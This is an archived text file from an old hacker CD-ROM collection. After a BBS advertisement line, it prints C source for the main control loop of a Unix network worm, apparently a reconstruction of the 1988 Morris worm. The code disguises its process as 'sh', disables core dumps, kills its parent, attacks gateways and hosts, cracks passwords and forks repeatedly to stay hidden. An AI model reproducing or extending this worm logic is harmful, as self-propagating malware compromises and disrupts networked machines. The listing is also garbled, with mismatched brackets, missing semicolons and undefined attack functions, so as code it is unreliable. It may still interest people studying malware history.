home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / worm.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  2.4 KB  |  194 lines

  1.  
  2. 666 The Dead Zone 214-522-5321 300/1200/2400 666
  3.  
  4. #include <stdio.h>
  5.  
  6. #include <signal.h>
  7.  
  8. #include <string.h>
  9.  
  10. #include <sys/resource.h>
  11.  
  12.  
  13.  
  14. long current_time;
  15.  
  16. struct rlimit no_core = {0,0};
  17.  
  18.  
  19.  
  20. int
  21.  
  22. main (argc, argv)
  23.  
  24.     int argc;
  25.  
  26.     char *argv[];
  27.  
  28.  
  29.  
  30. {
  31.  
  32.     int n;
  33.  
  34.     int parent = 0;
  35.  
  36.     int okay = 0;
  37.  
  38.         /* change calling name to "sh" */
  39.  
  40.     strcpy(argv[0], "sh");
  41.  
  42.         /* prevent core files by setting limit to 0 */
  43.  
  44.     setrlimit(RLIMIT_CORE, no_core);
  45.  
  46.     current_time = time(0);
  47.  
  48.         /* seed random number generator with time */
  49.  
  50.     srand48(current_time);
  51.  
  52.     n = 1;
  53.  
  54.     while (argv[n]) {
  55.  
  56.         /* save process id of parent */
  57.  
  58.         if (!strncmp(argv[n], "-p", 2)) {
  59.  
  60.             parent = atoi (argv[++n]);
  61.  
  62.             n++;
  63.  
  64.         }
  65.  
  66.         else {
  67.  
  68.             /* check for 1l.c in argument list */
  69.  
  70.             if (!strncmp(argv([n], "1l.c", 4))
  71.  
  72.                 okay = 1;
  73.  
  74.             /* load an object file into memory */
  75.  
  76.             load_object (argv[n];
  77.  
  78.             /* clean up by unlinking file */
  79.  
  80.             if (parent)
  81.  
  82.                 unlink (argv[n]);
  83.  
  84.             /* and removing object file name */
  85.  
  86.             strcpy (argv[n++], "");
  87.  
  88.         }
  89.  
  90.     
  91.  
  92.     }
  93.  
  94.         /* if 1l.c was not in argument list, quit */
  95.  
  96.     if (!okay)
  97.  
  98.         exit (0);
  99.  
  100.         /* reset process group */
  101.  
  102.     setpgrp (getpid());
  103.  
  104.         /* kill parent shell if parent is set */
  105.  
  106.     if (parent)
  107.  
  108.         kill(parent, SIGHUP);
  109.  
  110.         /* scan for network interfaces */
  111.  
  112.     if_init();
  113.  
  114.         /* collect list of gateways from netstat */
  115.  
  116.     rt_init();
  117.  
  118.         /* start main loop */
  119.  
  120.     doit();
  121.  
  122. }
  123.  
  124.  
  125.  
  126. int
  127.  
  128. doit()
  129.  
  130. {
  131.  
  132.     current_time = time (0);
  133.  
  134.         /* seed random number generator (again) */
  135.  
  136.     srand48(current_time);
  137.  
  138.         /* attack gateways, local nets, remote nets */
  139.  
  140.     attack_hosts();
  141.  
  142.         /* check for a "listening" worm */
  143.  
  144.     check_other ()
  145.  
  146.         /* attempt to send byte to "ernie" */
  147.  
  148.     send_message ()
  149.  
  150.     for (;;) {
  151.  
  152.         /* crack some passwords */
  153.  
  154.     crack_some ();
  155.  
  156.         /* sleep or listen for other worms */
  157.  
  158.     other_sleep (30);
  159.  
  160.     crack_some ();
  161.  
  162.         /* switch process id's */
  163.  
  164.         if (fork())
  165.  
  166.             /* parent exits, new worm continues */
  167.  
  168.             exit (0);
  169.  
  170.         /* attack gateways, known hosts */
  171.  
  172.         attack_hosts();
  173.  
  174.         other_sleep(120);
  175.  
  176.             /* if 12 hours have passed, reset hosts */
  177.  
  178.         if(time (0) == current_time + (3600*12)) {
  179.  
  180.             reset_hosts();
  181.  
  182.             current_time = time(0); }
  183.  
  184.             /* quit if pleasequit is set, and nextw>10 */
  185.  
  186.         if (pleasequit && nextw > 10)
  187.  
  188.             exit (0);
  189.  
  190.     }
  191.  
  192. }
  193.  
  194.